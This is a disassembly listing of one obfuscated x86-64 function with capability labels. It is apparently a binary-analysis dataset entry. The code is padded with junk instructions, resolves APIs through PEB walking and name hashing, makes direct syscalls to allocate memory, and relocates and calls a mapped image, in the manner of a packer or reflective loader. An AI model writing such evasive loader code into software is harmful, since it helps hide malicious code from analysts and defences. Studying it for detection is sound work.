Function at 0x140442c62
Capabilities:
Access peb ldr_data
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
test rsi, r9
test sil, 0xfc
push r14
cmp cl, cl
jmp 0x140442c74
push r13
push r12
cmc
test r10b, 0xd6
push rsi
clc
push rdi
jmp 0x140442c89
push rbp
cmp r11b, 2
push rbx
cmc
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x140442ca1
je 0x140442cfb
sub eax, eax
xor cl, r10b
rcr r15w, cl
lea rcx, [section..aXtxDT0]
sal r15, 0xc1
neg r15w
nop word cs:[rax + rax]
sar r15w, cl
shl r15w, cl
sub r15b, dl
lea r15, [rax + 0x10]
cmp qword [rax + rcx + 0x20], 0
cwde
movzx rax, dx
cdqe
mov rax, r15
jmp 0x140442cf0
jne 0x140442cd7
jmp 0x140442d0a
sub r15d, r15d
bsf r13w, ax
bswap r12d
movzx r8d, bp
movabs r12, 0xcbf29ce484222325
shrd cx, r12w, 0xb
shr r13b, cl
xor ecx, 0x6ab85b76
movabs r13, 0x1d12a89b9e723ff5
add r10b, dl
sbb cx, 0x2a8e
movsx r8, ax
mov rcx, qword gs:[0x30]
xchg r8d, r10d
rol r10d, 0x50
mov rcx, qword [rcx + 0x60]
add r8b, 0xa0
mov r10, qword [rcx + 0x18]
rcr r8b, cl
movzx r8d, bx
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140442d6f
jmp 0x140442d82
cmp rbx, r8
jmp 0x140442d7c
je 0x140442e92
mov r10, qword [r10]
sal r9b, 0x6a
btr r9w, r14w
movsx r9, r10w
mov r9, qword [r10 + 0x30]
cmp rax, 0x3b5d3172
test r9, r9
jmp 0x140442da5
je 0x14044310c
mov r11, qword [r10 + 0x60]
dec dil
bswap rdi
add dil, r11b
mov rdi, 0xffffffffffffffff
test r14, 0x3e2e2558
cmc
cmp rdx, 0x26a115ea
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140442dda
lea rdi, [rdi + 1]
jmp 0x140442de3
jne 0x140442dce
mov rbx, r12
test rdi, rdi
jmp 0x140442df4
je 0x140442d74
sub ecx, ecx
movsxd rdx, ebp
bsf esi, r15d
mov rdx, r12
bswap bx
nop word [rax + rax]
sbb sil, 0xa1
bts rbx, rax
sub ah, 0xf6
movzx ebx, word [r11 + rcx*2]
lea ebp, [rbx - 0x41]
add rsi, 0x6f5623da
lea esi, [rbx - 0x410]
sub al, 0x75
or ax, 0x5b7c
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x140442e41
cmovb ebx, eax
stc
cmp bp, 0x1a
jmp 0x140442e4e
cmovb ebx, eax
jmp 0x140442e5a
movzx ebx, bx
cmc
xor rbx, rdx
cwd
btr dx, 0xea
cmc
imul rbx, r13
dec dh
inc ecx
ror dh, cl
movzx dx, r9b
shr dx, 0x73
mov rdx, rbx
cmp rcx, rdi
jmp 0x140442e87
jb 0x140442e1a
jmp 0x140442d74
test r10, r10
jmp 0x140442e9a
je 0x14044310c
movsxd rax, dword [r9 + 0x3c]
xor rcx, 0x5d62786e
mov eax, dword [r9 + rax + 0x88]
shrd rcx, rdx, 0x1f
lea rcx, [r9 + rax]
rol dl, 0x6e
shl edx, 3
test rax, rax
xchg dx, dx
bswap edx
cwd
cmove rcx, rax
sal rdx, cl
stc
bswap dx
mov qword [rsp + 0x38], rcx
bsr edx, r10d
xor dx, 0xf02
mov edx, dword [rcx + 0x18]
clc
stc
test spl, dl
test edx, edx
jmp 0x140442ef4
je 0x14044310c
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
lea rcx, [rcx + r9]
mov qword [rsp + 0x40], rcx
adc r8w, r11w
btr r8w, bp
mov r8w, r11w
mov r10d, dword [rax + 0x24]
lea r10, [r10 + r9]
movsx r8, r8w
bts r8, rdx
bsf r8d, r9d
mov r8d, dword [rax + 0x1c]
test spl, spl
test dh, 9
lea r8, [r8 + r9]
test bpl, 0x5a
stc
xor edi, edi
jmp 0x140442f46
jmp 0x140442f69
mov edx, dword [rsp + 0x20]
inc rdi
test bpl, r8b
inc eax
dec eax
mov eax, edx
cmp rdi, rax
jmp 0x140442f63
jae 0x14044310c
movzx ecx, word [r10 + rdi*2]
mov bl, r10b
sub ebx, r12d
jmp 0x140442f79
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x140442f8a
jne 0x140442f4f
mov dword [rsp + 0x20], edx
rcl ah, 0x9e
and al, 0xf9
mov rax, qword [rsp + 0x40]
cmp dil, sil
jmp 0x140442faa
mov esi, dword [rax + rdi*4]
clc
adc bp, r13w
bt bp, r10w
lea rsi, [rsi + r9]
movzx rbp, r13w
stc
ror bpl, 0xcd
mov rbp, 0xffffffffffffffff
nop dword [rax + rax]
cmp byte [rsi + rbp + 1], 0
jmp 0x140442fda
lea rbp, [rbp + 1]
jmp 0x140442fe3
jne 0x140442fd0
mov rcx, r12
cmp r9b, cl
test bpl, r11b
cmp r8w, 0x4210
test rbp, rbp
je 0x140443092
xor r14d, r14d
btr rdx, rdx
shr r11d, 0x3e
mov r11, r12
adc cl, sil
bt ax, si
nop dword [rax]
bts rax, r12
movsx dx, r15b
movzx ecx, byte [rsi + r14]
rcl dx, 0x6b
sar rax, 0xf6
lea edx, [rcx - 0x41]
sar ax, 0x1b
not ax
lea eax, [rcx + 0x20]
cmp rsp, r9
cmp dl, 0x1a
jmp 0x14044304b
movzx eax, al
jmp 0x140443053
cmovae eax, ecx
add ch, 0xe1
movsx rcx, al
cmp r13d, 0x687d1d45
stc
test rsp, rbp
xor rcx, r11
bswap r11
add r11w, 0x7a5d
stc
imul rcx, r13
inc r14d
btc r11d, 0x42
mov r11, rcx
cmp r14, rbp
jmp 0x14044308c
jb 0x140443026
mov rsi, qword [0x1400dd010]
test rsi, rsi
jmp 0x1404430a1
je 0x140442f4b
lea rbp, [0x1400dd020]
nop word cs:[rax + rax]
cmp rsi, rcx
jmp 0x1404430c5
je 0x1404430ef
mov rsi, qword [rbp]
clc
test r13b, spl
add rbp, 0x10
cmp cx, 0x4516
test rsi, rsi
jmp 0x1404430e4
jne 0x1404430bd
jmp 0x140442f4b
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
cmovns edx, eax
mov edx, dword [rax + 0x18]
jmp 0x140443107
jmp 0x140442f4f
test r15, r15
jmp 0x140443114
je 0x140443199
xor ebp, ebp
lea rbx, [section..aXtxDT0]
mov rcx, r12
bts edx, ecx
nop dword [rax]
bts edx, eax
bt edx, 0xf9
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
cmp bpl, spl
cmc
imul rcx, r13
inc ebp
clc
cmp rbp, r15
jmp 0x14044314e
jb 0x140443133
movabs rdx, 0xe9203a08b69f42e8
stc
lea rcx, [rcx + rdx]
sal rdx, cl
movabs rdx, 0x52aea00e8a0b3911
test rsi, rax
cmc
xor rdx, rcx
setle ch
movabs rcx, 0xee16cad6b000daab
cmp rcx, 0x476a49a3
cmp cx, bp
test r14, r13
add rcx, rdx
jmp 0x1404431ab
movabs rcx, 0xd5d341ba60cb39c7
rcl eax, cl
mov rax, r13
bswap rax
rol rcx, 0x16
movabs rax, 0x957b6a83b7a0090f
xor rax, rcx
movsx rcx, r9w
shrd cx, r12w, 0xc3
movabs rcx, 0xec0e237d69308474
stc
cmc
test r11w, 0x36d3
lea rcx, [rcx + rax]
mov qword [0x1400b7208], rcx
test r8, 0x2fa32ad6
jmp 0x1404431f0
cmp qword [0x1400de010], 0
jmp 0x1404431fd
je 0x140443233
xor ecx, ecx
bt rdx, r10
lea rdx, [section.btusQax1]
nop
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
cmove cx, bp
movsx cx, r15b
mov rcx, rax
jne 0x140443212
jmp 0x140443240
xor eax, eax
test r8w, r14w
test r14w, 0x469e
stc
mov qword [rsp + 0x60], rax
cmp bpl, r9b
sub ecx, ecx
jmp 0x14044326f
mov rcx, qword [rsp + 0x30]
jmp 0x140443259
inc rcx
cmp sil, 0xa9
cmp rcx, 8
jmp 0x140443269
je 0x140443643
lea rax, [0x1400bfdf0]
movzx r8, di
mov r10w, 0x7bbb
movzx r8w, bl
mov qword [rsp + 0x30], rcx
mov r8, qword [rax + rcx*8]
bsf r10, r12
bts r10d, r15d
shld r10d, ebp, 0x23
mov rax, qword gs:[0x30]
jmp 0x1404432a8
mov rax, qword [rax + 0x60]
add r10b, 0x1c
mov r10b, 0xd4
sar r10b, cl
mov r10, qword [rax + 0x18]
jmp 0x1404432bf
add r10, 0x10
jmp 0x1404432c8
jmp 0x1404432db
cmp rdx, r8
jmp 0x1404432d5
je 0x1404433d4
mov r10, qword [r10]
shr r11d, 0x53
xor r11, 0x2fa326b4
movsx r11, r8w
mov r11, qword [r10 + 0x30]
clc
test r11, r11
jmp 0x1404432fa
je 0x14044324f
mov r14, qword [r10 + 0x60]
and bh, 0x5b
mov rbx, 0xffffffffffffffff
nop dword [rax]
test sil, r10b
stc
cmp word [r14 + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140443316
mov rdx, r12
clc
cmc
test dl, 0x5d
test rbx, rbx
je 0x1404432cd
xor ecx, ecx
ror al, cl
sub bpl, al
mov rdi, r12
rdtsc
rcr bp, 4
bswap ebp
nop word [rax + rax]
cdqe
xadd rbp, rsi
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
rcl rsi, 0xc
shld bp, ax, 0x36
shl bpl, cl
lea esi, [rax - 0x410]
bt rbp, rdi
bt bp, 0xe8
shrd bp, r11w, 0x32
lea ebp, [rax + 0x20]
cmp bx, r13w
cmp si, 0x20
jmp 0x14044338f
cmovb eax, ebp
cmp dx, 0x1a
cdq
not dl
movzx dx, cl
cmovb eax, ebp
and dx, 0xb9
bts edx, r10d
shld dx, sp, 0x92
movzx edx, ax
xor rdx, rdi
imul rdx, r13
inc ecx
movzx edi, di
mov rdi, rdx
cmc
cmp rcx, rbx
jmp 0x1404433c9
jb 0x140443356
jmp 0x1404432cd
test r10, r10
jmp 0x1404433dc
je 0x14044324f
movzx eax, word [r11]
cmc
cmp eax, 0x5a4d
jmp 0x1404433f1
jne 0x14044342d
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
cwde
mov ax, r14w
movzx ax, dl
cmove r9, r11
lahf
mov rax, qword [rsp + 0x58]
jmp 0x14044341f
cmove rax, rcx
jmp 0x140443428
jmp 0x140443441
mov rax, qword [rsp + 0x58]
movsx bp, r10b
or ebp, 0x58d267f6
test r11b, 0xf0
mov qword [rsp + 0x58], rax
cmovb bp, r8w
movsx ebp, r13w
shrd bp, sp, 3
mov ecx, dword [rax + 0x88]
rcr al, 0x2d
lea rax, [r9 + rcx]
sub bpl, 0xf4
test rcx, rcx
jmp 0x140443470
cmove rax, rcx
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x14044347e
je 0x14044324f
mov r14d, dword [rax + 0x20]
sbb cl, 0xb1
neg ecx
add r14, r11
btr ecx, 0x4c
cmc
mov ecx, dword [rax + 0x24]
cmp r15b, 0xc6
test r12b, r8b
jmp 0x1404434a4
lea rcx, [rcx + r11]
mov qword [rsp + 0x40], rcx
cmp bpl, 0x2b
clc
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
cmc
add rax, r11
jmp 0x1404434c6
mov qword [rsp + 0x38], rax
sub esi, esi
jmp 0x140443526
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + rsi*2]
rol bp, 0xfb
stc
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx + rax*4]
add rax, r11
setne bpl
jmp 0x1404434fb
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x20]
mov ebp, dword [rax + 0x18]
bswap rax
movsxd rax, edx
seto al
inc rsi
add al, spl
bt ax, cx
mov eax, ebp
stc
cmp rsi, rax
jae 0x14044324f
mov r8d, dword [r14 + rsi*4]
movzx ebx, cx
ror bx, cl
sub bx, 0x607d
lea r8, [r8 + r11]
add ebx, 0x4bf56e90
ror bl, cl
mov rbx, 0xffffffffffffffff
stc
test r13w, sp
jmp 0x140443552
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
jmp 0x140443561
lea rbx, [rbx + 1]
jmp 0x14044356a
jne 0x140443556
mov r10, r12
test edi, r10d
test rbx, rbx
jmp 0x14044357e
je 0x1404435e5
sub ecx, ecx
movzx rdx, di
mov r15, r12
nop dword [rax]
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
lea edx, [rdi + 0x20]
inc r10d
cmp al, 0x1a
movzx eax, dl
movsx r10w, spl
cmovae eax, edi
btc r10w, 0xb5
movsx r10, al
cmc
xor r10, r15
cmp ax, 0x5415
add r15b, 0x22
imul r10, r13
inc ecx
btr r15d, eax
mov r15, r10
jmp 0x1404435d7
cmp rcx, rbx
jmp 0x1404435df
jb 0x140443594
mov rbx, qword [0x1400de010]
cmp si, r13w
jmp 0x1404435f6
test rbx, rbx
jmp 0x1404435fe
je 0x140443510
lea rcx, [0x1400de020]
nop dword [rax + rax]
cmp dx, r15w
test r13b, r15b
cmp rbx, r10
jmp 0x14044361f
je 0x1404434d2
mov rbx, qword [rcx]
clc
add rcx, 0x10
cmp dil, r12b
test rbx, rbx
jmp 0x140443638
jne 0x140443617
jmp 0x140443510
mov rax, qword [rsp + 0x60]
cmc
test r9b, 0x1e
test rax, rax
jmp 0x140443655
je 0x1404436c0
xor ecx, ecx
lea rbp, [section.btusQax1]
btr dx, 0xad
nop dword [rax]
mov rdx, 0x4cf36543
or dl, 1
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
shr r12b, cl
movzx r12d, di
and r12w, 0x38fc
imul rdx, r13
dec r12b
inc ecx
btc r12w, r15w
cmovbe r12w, r8w
bsf r12w, di
mov r12, rdx
jmp 0x1404436b2
cmp rcx, rax
jb 0x140443676
jmp 0x1404436c6
mov rdx, r12
rcl al, 0x92
rol rdx, 0xb
or ch, dl
cmovno eax, ecx
adc ax, 0x1456
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
ror ecx, 0x9b
cmc
rcl ch, 0xc3
rol rax, 0x16
sbb cx, 0x5237
movabs rcx, 0x4934245b3ce013cf
jmp 0x140443703
xor rcx, rax
adc ah, 0xb1
movabs rax, 0x5b5c0083c64fa867
stc
add rax, rcx
movzx rcx, bx
rol ecx, 0x26
bt cx, 0x45
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
jmp 0x140443739
add rcx, rax
rol rcx, 0x25
rcr ax, 0x32
and ax, 0x3155
sub al, spl
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
inc cl
mov dword [0x1400b8eb8], eax
btr rcx, rsp
movzx ecx, word [0x140000000]
test bh, ah
jmp 0x140443773
cmp ecx, 0x5a4d
jmp 0x14044377e
jne 0x1404437d0
movsxd rcx, dword [0x14000003c]
adc dl, r15b
shr dh, cl
bt dx, di
lea rdx, [0x140000000]
cmc
stc
cmp dword [rcx + rdx], 0x4550
jmp 0x1404437a9
jne 0x1404437d0
lea rbx, [rcx + rdx]
jmp 0x1404437b8
lea r14, [rcx + rdx]
rol ch, 0x17
add r14, 0x108
movsx r12d, r9w
movsxd rbp, r11d
sub dl, r11b
imul eax, eax, 0x41c64e6d
btr r9w, r15w
rcl r12b, cl
add eax, 0x3039
add dl, r15b
setge cl
rcl r12w, 5
imul ecx, eax, 0x41c64e6d
rol r12b, cl
shr eax, 0x10
movzx edx, di
mov r13, 0x5ad971dd
sub r9, rax
lea edx, [rax + rax*2]
shr r12w, 0x3c
cmp r11b, 0x35
sar r10d, cl
shr edx, 0x10
btc r13, r10
or r9b, 0xed
xadd bpl, r12b
mov ebp, eax
or r13d, 0x1ff84cfa
sub ebp, edx
rol r10w, cl
rcr r10d, 0xb8
rcl r9b, 0xbe
movzx ebp, bp
sbb r9b, 0xea
shr ebp, 1
add ebp, edx
xor r13w, r8w
add r10, 0x7d4c6984
movzx r13d, bp
shr r13d, 0xe
cmc
setbe r12b
add r13d, eax
bsr r10d, r13d
and r13d, 0x3fff
add r13d, 0xfff
cmp r15w, 0xb7c
bt dx, 0xc2
and r13d, 0x7000
adc ax, 0x7a0f
cwde
shrd r10w, r14w, 0x13
add ecx, 0x3039
movsx rdx, r10w
mov dword [0x1400b8eb8], ecx
dec r10b
movzx r9w, dil
shr ecx, 0x10
add r10w, r10w
jmp 0x1404438ba
lea eax, [rcx + rcx*2]
mov r10w, r10w
cmp dx, 0x39ff
mov r12w, 0x7f2d
shr eax, 0x10
jmp 0x1404438d3
mov edx, ecx
sub edx, eax
test al, r13b
movzx edx, dx
sar r12w, 0x2f
clc
rcr r12b, cl
shr edx, 1
bswap r9d
add edx, eax
movzx r12d, dx
lahf
bsr r10w, bx
shr r12d, 0xe
neg r10b
and rdx, 0x79286184
add r9d, r14d
add r12d, ecx
shrd r10w, r15w, 0xb7
movsx edx, bp
and r12d, 0x3fff
shrd rcx, rbp, 0x6d
cmc
add r12d, 0xfff
test r13d, r14d
bt dx, 0xa3
btr r10w, r12w
and r12d, 0x7000
xor r9b, r10b
mov qword [rsp + 0x28], 0
sar dx, 0x27
mov qword [rsp + 0x20], rbx
jmp 0x140443956
mov ecx, dword [rbx + 0x50]
cmovp r9w, bx
shr r10w, cl
rcr dh, cl
add rcx, r12
stc
dec r10w
test al, 0xb1
lea rcx, [rcx + r13]
rdtsc
shl ah, 0x19
bts r10, rsi
mov qword [rsp + 0x48], rcx
ror r9d, 0x93
lahf
mov eax, dword [0x1400dd078]
sbb r10b, sil
clc
bts dx, r9w
lea rdx, [rsp + 0x28]
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
sub r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
jmp 0x1404439ba
mov qword [rsp + 0x30], 4
jmp 0x1404439c8
syscall
add rsp, 0x40
xor r8w, cx
mov rcx, qword [rsp + 0x28]
or r8b, spl
mov r8, qword [rsp + 0x48]
xor edx, edx
call fcn.1404a4dde
mov r15, qword [rsp + 0x28]
clc
jmp 0x1404439f1
test r13d, r13d
jmp 0x1404439f9
je 0x140443c4b
mov rcx, r13
jmp 0x140443a0a
shr rcx, 3
sbb sil, r14b
shl bpl, cl
ror rbp, 0xf6
cmp rcx, 2
jmp 0x140443a21
mov r8d, 1
movsx rbp, bx
cmovae r8, rcx
sub r9d, r9d
add di, r10w
cmovbe dx, r12w
test sil, cl
nop word cs:[rax + rax]
xor rdx, 0x70cc089d
imul edx, dword [0x1400b8eb8], 0x41c64e6d
btc cx, 0x52
cdqe
add edx, 0x3039
and cl, r8b
sar si, cl
imul edi, edx, 0x41c64e6d
mov ebp, edx
cmp rsi, 0x41a71a29
shld bx, si, 0x4f
shr ebp, 0x10
sbb bl, 0x32
lea edx, [rbp + rbp*2]
shr edx, 0x10
and al, bh
rcr sil, cl
mov eax, ebp
bt si, r11w
sub eax, edx
movzx eax, ax
btc si, si
shr eax, 1
rcl sil, 0x2a
not bl
add eax, edx
add edi, 0x3039
movzx edx, r11w
and cl, r14b
xchg ecx, edx
movzx edx, ax
bts cx, bx
setg cl
mov eax, edi
shrd ebx, edx, 0x93
jmp 0x140443ad5
shr eax, 0x10
test rdx, r15
dec ch
lea ebx, [rax + rax*2]
shr sil, cl
shr edx, 0xe
dec sil
movzx cx, r11b
shr ebx, 0x10
sub sil, 0xd6
mov esi, eax
sub esi, ebx
mov ecx, edx
jmp 0x140443b01
movzx esi, si
shr esi, 1
clc
stc
add esi, ebx
bt ebx, 0xfd
shl ecx, 0xf
sbb bl, bpl
movzx ebx, si
shr ebx, 0xe
sbb si, dx
sub sil, bl
mov esi, ebx
cmp r13b, r8b
test ah, 0xcd
sub edx, ecx
sbb rcx, 0x21c07314
shl esi, 0xf
bt cx, 0x40
movsx rcx, r12w
sub ebx, esi
btr ecx, 0x34
bts cx, r13w
add ebx, eax
shl ecx, cl
rol ch, 0xe9
add cx, 0xc4b
add edx, ebp
mov al, r12b
xor al, 0x81
shr eax, 0xe2
xor ebp, ebp
cmp bx, 0x10
movzx rbx, r8w
setb bpl
imul eax, edi, 0x41c64e6d
rcl cl, 0xa4
add eax, 0x3039
xadd rcx, rcx
adc bl, 0x2a
imul ecx, eax, 0x41c64e6d
shr bl, 0
and dil, 0x28
shr eax, 0x10
bt di, 0xfd
movsx rbx, r9w
lea ebx, [rax + rax*2]
rcr dil, cl
sar rdi, 0xef
rol dil, cl
shr ebx, 0x10
add edi, eax
adc rdi, r10
mov edi, eax
sub edi, ebx
stc
cmc
cmp cl, r14b
movzx edi, di
jmp 0x140443bc0
shr edi, 1
test r11b, r14b
add edi, ebx
movzx bx, dil
cmc
movzx edx, dx
jmp 0x140443bd5
movzx ebx, di
add edi, r12d
cmp sil, 0x82
shr ebx, 0xe
rol dil, 0xf8
rol dil, cl
mov edi, ebx
clc
or rbp, rdx
shl edi, 0xf
jmp 0x140443bf7
sub ebx, edi
add ebx, eax
cmc
add ecx, 0x3039
xor eax, eax
sbb al, 0xd6
cmc
cmp bx, 0x20
not al
setb al
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140443c1e
mov qword [r15 + r9*8], rax
jmp 0x140443c27
inc r9
cmp r14d, 0x3cfe158f
stc
cmp r8, r9
jmp 0x140443c3a
jne 0x140443a4f
mov r15, qword [rsp + 0x28]
jmp 0x140443c4b
test r12, r12
jmp 0x140443c53
je 0x140443e7d
sub r15, r12
adc rcx, 0x7c590a2f
bsf si, di
rcl rcx, 0x1f
add r15, qword [rsp + 0x48]
shr r12, 3
cdqe
btr rsi, 0x11
cmp r12, 2
mov r8d, 1
cbw
cmovo di, bp
mov bpl, r14b
cmovae r8, r12
xor r9d, r9d
nop
btr rbp, 0xd7
bts di, r10w
cmc
imul edx, dword [0x1400b8eb8], 0x41c64e6d
rcl dil, cl
add edx, 0x3039
imul edi, edx, 0x41c64e6d
cwde
rol bh, cl
mov ebp, edx
rcl dh, 0xb7
rcr bh, cl
add ecx, 0x6d804983
shr ebp, 0x10
add esi, edi
lea edx, [rbp + rbp*2]
shr edx, 0x10
test r10b, 0x32
xchg bl, al
mov ebx, ebp
sub ebx, edx
shr cx, cl
xadd sil, al
shr esi, 0xd1
movzx ebx, bx
shr ebx, 1
movsx si, cl
cmp rbp, 0x316e2388
add ebx, edx
add edi, 0x3039
ror ah, cl
shl cl, cl
movzx edx, bx
bsf eax, eax
shrd rsi, rbp, 0xb1
mov ebx, edi
shr ebx, 0x10
movzx ecx, dx
movsx esi, bp
lea esi, [rbx + rbx*2]
bts rcx, r8
setge ah
cdqe
shr edx, 0xe
shr esi, 0x10
mov eax, ebx
movzx cx, r12b
movsx ecx, di
bt rcx, 0x48
sub eax, esi
shr ecx, cl
sal cl, 0x7f
mov ecx, edx
cmp al, r9b
cmp r10, 0x2c830a7a
movzx eax, ax
stc
jmp 0x140443d5a
shr eax, 1
cmp rdx, r11
test r12w, 0x4502
stc
add eax, esi
setnp sil
shl ecx, 0xf
shr sil, 0xb8
sar rsi, cl
shr si, cl
movzx eax, ax
shr eax, 0xe
cmp r9b, spl
rol si, 0xf4
btr rsi, rbx
mov esi, eax
stc
cmp r8b, 0xab
sub edx, ecx
shr ecx, cl
bts cx, ax
bsf cx, bp
shl esi, 0xf
jmp 0x140443da5
sub eax, esi
add eax, ebx
add edx, ebp
btc cx, 0xb9
xor bx, 0x1e09
xor ebp, ebp
cmp ax, 0x10
movsx ecx, cx
setb bpl
clc
ror ah, cl
imul eax, edi, 0x41c64e6d
sal dil, 0x91
add eax, 0x3039
sub bx, r8w
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
test r14b, r11b
cmp r11b, r9b
or bh, ch
lea ebx, [rax + rax*2]
shr ebx, 0x10
inc dil
mov edi, eax
stc
cmc
sub edi, ebx
movzx edi, di
shr edi, 1
add edi, ebx
sar rbx, cl
movzx edx, dx
btr ebx, 0x9c
and bl, 0x83
movzx ebx, di
bt di, bp
neg dil
shr ebx, 0xe
mov dil, 0x98
mov edi, ebx
test bpl, 0x30
test r11b, r9b
or rbp, rdx
shl edi, 0xf
sub ebx, edi
test bp, cx
add ebx, eax
add ecx, 0x3039
cmc
jmp 0x140443e3e
xor eax, eax
cmp bx, 0x20
mov al, 0xa
setb al
mov dword [0x1400b8eb8], ecx
jmp 0x140443e5c
or rax, rbp
jmp 0x140443e64
mov qword [r15 + r9*8], rax
inc r9
cmp r15b, 0xac
cmp r8, r9
jne 0x140443ca2
mov r15, qword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
jmp 0x140443e88
lea r15, [r15 + r13]
test r8w, 0x609a
jmp 0x140443e98
movzx eax, word [rax + 6]
cmp cl, dl
test r15b, r9b
test rax, rax
je 0x140443fd1
shl rax, 3
ror sil, 0x5d
lea rbp, [rax + rax*4]
sub edi, edi
xor esi, 0x18576bfa
mov ebx, 4
bswap si
sal r8b, cl
lea rsi, [rsp + 0x70]
btc r13w, si
btr r13w, 0xec
cqo
lea r12, [rsp + 0x68]
test sil, r12b
lea r13, [rsp + 0x54]
shr r8w, 0x38
btr rcx, r11
rcr al, 9
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
movzx r8, r11w
add r8b, 7
lea rcx, [r15 + rdx]
ror al, cl
or r8b, 0x17
stc
mov qword [rsp + 0x70], rcx
cdqe
test r12w, 0x346a
movzx rax, r9w
lea rax, [0x140000000]
add rdx, rax
mov r8, rdi
mov r8d, dword [r14 + rdi + 8]
call fcn.1404a4302
mov eax, dword [r14 + rdi + 8]
movzx dx, r15b
cmc
movsx edx, r11w
mov qword [rsp + 0x68], rax
shrd rax, r9, 0x1e
xor dx, 0x61e5
mov dword [rsp + 0x54], 0
sal r8, cl
test dword [r14 + rdi + 0x24], 0x20000000
mov r10b, 0xa9
nop
mov r9d, 0x40
cmovno ax, dx
cmove r9d, ebx
rcl ah, cl
ror dx, cl
lahf
mov eax, dword [0x1400dd088]
shl r8b, cl
btr dx, r15w
mov r10, 0xffffffffffffffff
sub r8b, 0xfe
mov rdx, rsi
rcl r8b, cl
add r8b, r15b
shl r8, 0x30
mov r8, r12
sub rsp, 0x30
jmp 0x140443fb5
mov qword [rsp + 0x28], r13
syscall
add rsp, 0x30
add rdi, 0x28
cmp ebp, edi
jmp 0x140443fcb
jne 0x140443ef9
lea rdx, [0x140000000]
bts rsi, rcx
add rcx, 0x432d6ebe
mov rax, r15
neg sil
add sil, bl
sub rax, rdx
mov rsi, qword [rsp + 0x20]
bsf cx, r13w
cmp r13b, cl
mov ecx, dword [rsi + 0xb0]
jmp 0x140444007
add rcx, rdx
je 0x14044410b
mov r8d, 1
jmp 0x140444031
mov ebx, dword [rcx + 4]
jmp 0x140444023
add rcx, rbx
jmp 0x14044402b
je 0x14044410b
cmp dword [rcx], 0
jmp 0x140444039
je 0x14044410b
mov ebx, dword [rcx + 4]
cmp r13b, 0xfa
cmc
test rbx, rbx
je 0x14044410b
lea rbp, [rbx - 8]
test spl, 0xd2
jmp 0x140444060
cmp rbp, 2
jmp 0x140444069
jb 0x140444023
shr rbp, 1
cmp rbp, 2
jmp 0x14044407b
cmovb rbp, r8
cmc
xor ebx, ebx
jmp 0x140444087
jmp 0x1404440ba
and edi, 0xfff
movsx dx, spl
mov edx, dword [rcx]
clc
test bx, r10w
add rdi, r15
add qword [rdx + rdi], rax
jmp 0x1404440aa
inc rbx
stc
cmp bl, 0x47
cmp rbp, rbx
je 0x14044401b
movzx edi, word [rcx + rbx*2 + 8]
cmp r12b, sil
jmp 0x1404440ca
cmp edi, 0x1000
jmp 0x1404440d5
jb 0x1404440aa
mov edx, edi
cmc
test ah, 0xc3
shr edx, 0xc
clc
jmp 0x1404440ea
cmp edx, 0xa
jmp 0x1404440f2
je 0x14044408c
cmp edx, 3
jmp 0x140444100
je 0x14044408c
jmp 0x1404440aa
mov ecx, dword [rsi + 0xd0]
jmp 0x140444116
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14044412b
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140444137
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140444146
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
clc
lea rdx, [0x14005d630]
movzx cx, r10b
cmc
add rdx, rax
lea rcx, [0x140000000]
jmp 0x14044416e
call rdx
nop
shrd di, r15w, 0x56
shl r12, 0x5b
movsx r15, si
add rsp, 0x78
movzx r14d, sp
pop rbx
jmp 0x14044418d
pop rbp
movzx rdi, si
pop rdi
movsxd r12, eax
movsx r12d, r15w
movzx r14w, r15b
pop rsi
setno r14b
bswap r13d
pop r12
xchg r14d, r14d
movsx r15d, r14w
pop r13
movsxd r14, ecx
not r14b
pop r14
cmovbe r15d, edi
not r15d
pop r15
jmp 0x1404441c8
ret